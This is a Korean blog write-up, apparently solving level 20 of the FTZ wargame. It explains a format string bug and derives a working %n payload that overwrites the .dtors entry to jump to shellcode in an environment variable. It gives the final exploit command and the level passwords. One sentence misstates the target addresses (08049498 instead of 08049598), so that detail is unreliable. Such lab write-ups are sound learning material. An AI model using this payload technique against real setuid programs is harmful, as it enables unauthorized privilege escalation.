cgy12306
FTZ 20번 level20 본문
ID : level20
PW : we are just regular guys
hint 파일을 열어보면 bleh에 80만큼 할당해주고, fgets으로 bleh의 79바이트 만큼 입력을 해주게 된다. bleh변수에 79바이트 만큼 할당해주면 BOF를 사용할 수 없게된다. 일단 디버깅 해보자.
메인 심볼이 없어서 디스어셈블을 할 수 없다고 한다.
다시 hint 파일을 보면 printf(bleh);부분이 있다. 원래 c언어를 했었다면 printf("%s", 변수); 이렇게 작성을 했었을텐데 printf(bleh)이 적혀있다. 이 코드는 FSB의 취약점이 있다.
FSB 취약점은 Format String Bug의 약자이다.
우선 포맷스트링의 종류이다.
파라미터 |
변수형식 |
%d |
정수형 10진수 상수 |
%f |
실수형 상수(float) |
%lf |
실수형 상수(double) |
%c |
1문자 |
%s |
문자열 |
%u |
양의 정수(10진수) |
%o |
양의 정수(8진수) |
%x |
양의 정수(16진수) |
%n |
* int(쓰인 총 바이트 수) |
FSB는 %n을 이용한다. %n은 [esp-4]에서 4byte만큼의 값을 읽어와서 그 값을 주소로 삼고 %n이 나오기 전까지의 문자의 길이를 넣는다. 여기서 중요한 점은 원하는 주소에 원하는 값을 넣을 수 있다는 점이다.
attackme를 실행시켜 AAAA %x를 입력해봤더니 AAAA가 출력되고 그 뒤에 4f가 출력되었다. %x를 이용해 버퍼의 구조를 알 수 있다. 버퍼의 위치를 알아낼 때까지 %x를 입력해보자.
%x가 4번째 입력 될 때 41414141(AAAA)이 있다. 그러면 스택 구조를 생각해 볼 수 있겠다.
printf와 bleh사이에 dummy가 없다고 가정하면 스택구조는 다음과 같을 것이다.
이 상태로 페이로드를 생각해보자. "AAAA" + "주소" + "%쉘코드 주소 길이c%n" 대충 이런식으로 들어가면 될 것 같다. 앞에 AAAA를 넣어주는 이유는 %c도 포맷 스트링이기 때문에 4byte를 넘겨야하고 그 다음 다시 %n이 나오기 때문에 [ebp-8]에 주소 값이 들어가야 한다.
쉘 코드를 환경변수에 넣어주고 환경변수의 위치를 알아보자.
환경변수의 주소는 bffffea6이다. bffffea6은 10진수로 바꾸면 3,221,225,126이다. 숫자가 너무 크기 때문에
주소값을 반으로 쪼개서 넣어 줄 것이다.
명령어는 "AAAA" + "ret주소" + "AAAA" + "ret주소" + "%쉘코드 주소 길이c%n + "%쉘코드 주소 길이c%n"이 될것이다. 원래 스택 상태대로 해보면 더미가 추가되기 때문에 %8x%8x%8x를 추가해준다. "AAAA" + "ret주소" + "AAAA" + "ret주소" +"%8x%8x%8x" + "%쉘코드 주소 길이c%n + "%쉘코드 주소 길이c%n"가 된다.
%x를 해주게 되면 4f는 1바이트이기 때문에 %8x로 크기를 맞춰줘서 ret 주소가 들어있는 버퍼로 이동시켜준다.(%8x는 4byte 길이는 8이다)
이제 ret주소와 쉘코드 주소길이만 계산하면 되겠다.
ret주소는 gdb를 이용할 수 없기 때문에 dtors(소멸자)를 이용한다.
dtors(소멸자)는 main 함수가 끝날 때 실행 된다고 한다.
objdump로 attackme에 dtors에 해당하는 값을 뽑아낸다.
dtors의 주소는 08049594이므로 +4를 해주게 되면 ret주소가 된다.
ret 주소는 08049598이 된다. bffffea6의 값이 커서 반으로 쪼개서 넣어야 하는데 주소도 반으로 쪼개야 하므로 08049498과 +2해준 0804959a에 넣어주면 된다. bfff와 fea6을 어디에 넣어주냐가 문제인데 스택은 리틀 엔디안 방식을 사용하기 때문에 낮은 주소인 08049498에 fea6을, 0804949a에 bfff를 넣어주면 된다. 또 컴퓨터가 버퍼를 읽을 때는 낮은 주소부터 읽기 때문도 있다.
"AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" + "%8x%8x%8x"+ "%첫번째 쉘 코드 주소 길이c%n" + "%두번째 쉘 코드 주소 길이c%n"가 현재 알아낸 페이로드이다.
이제 쉘 코드 주소 길이를 알아보자 0x08049598에는 fea6을 넣어야하므로 10진수로 변경하게 되면 65190이 된다. 하지만 %n까지의 길이가 들어가므로 앞의 "AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" +"%8x%8x%8x" 이 부분의 길이를 빼줘야한다.
수식으로 보면
4 + 4 + 4 + 4 + 8 + 8 + 8 + x = 65190 이다. x는 65150이 된다.
"AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" +"%8x%8x%8x"+ "%65150c%n" + "%두번째 쉘 코드 주소 길이c%n"
두번째 쉘 코드 주소 길이를 알아내면 된다. 두번째 쉘코드 주소의 길이는 bfff이다. 10진수로 바꾸면 49151이다. 그러면 65190 + y = 49151이 되어야 한다. y는 음수가 나오게 된다. 이럴땐 bfff 앞에 1을 붙이고 계산을 한다.
1bfff-fea6 을 계산하게 되면 49497이 된다.
"AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" +"%8x%8x%8x"+ "%65150c%n" + "%49497c%n" 이렇게하면 될듯 하다.
입력 해보자.
최종 페이로드는 (python -c 'print "AAAA" + "\x98\x95\x04\x08" +"AAAA" + "\x9a\x95\x04\x08" + "%8x%8x%8x" + "%65150c%n" + "%49497c%n"';cat) | ./attackme
이다.
마지막 문제였던만큼 이해하는데 오랜 시간이 걸렸다.....
비밀번호는 i will come in a minute
'Wargame > FTZ' 카테고리의 다른 글
FTZ 19번 level19 (0) | 2019.07.06 |
---|---|
FTZ 18번 level18 (0) | 2019.07.06 |
FTZ 17번 level17 (0) | 2019.07.06 |
FTZ 16번 level16 (0) | 2019.07.06 |
FTZ 15번 level15 (0) | 2019.07.06 |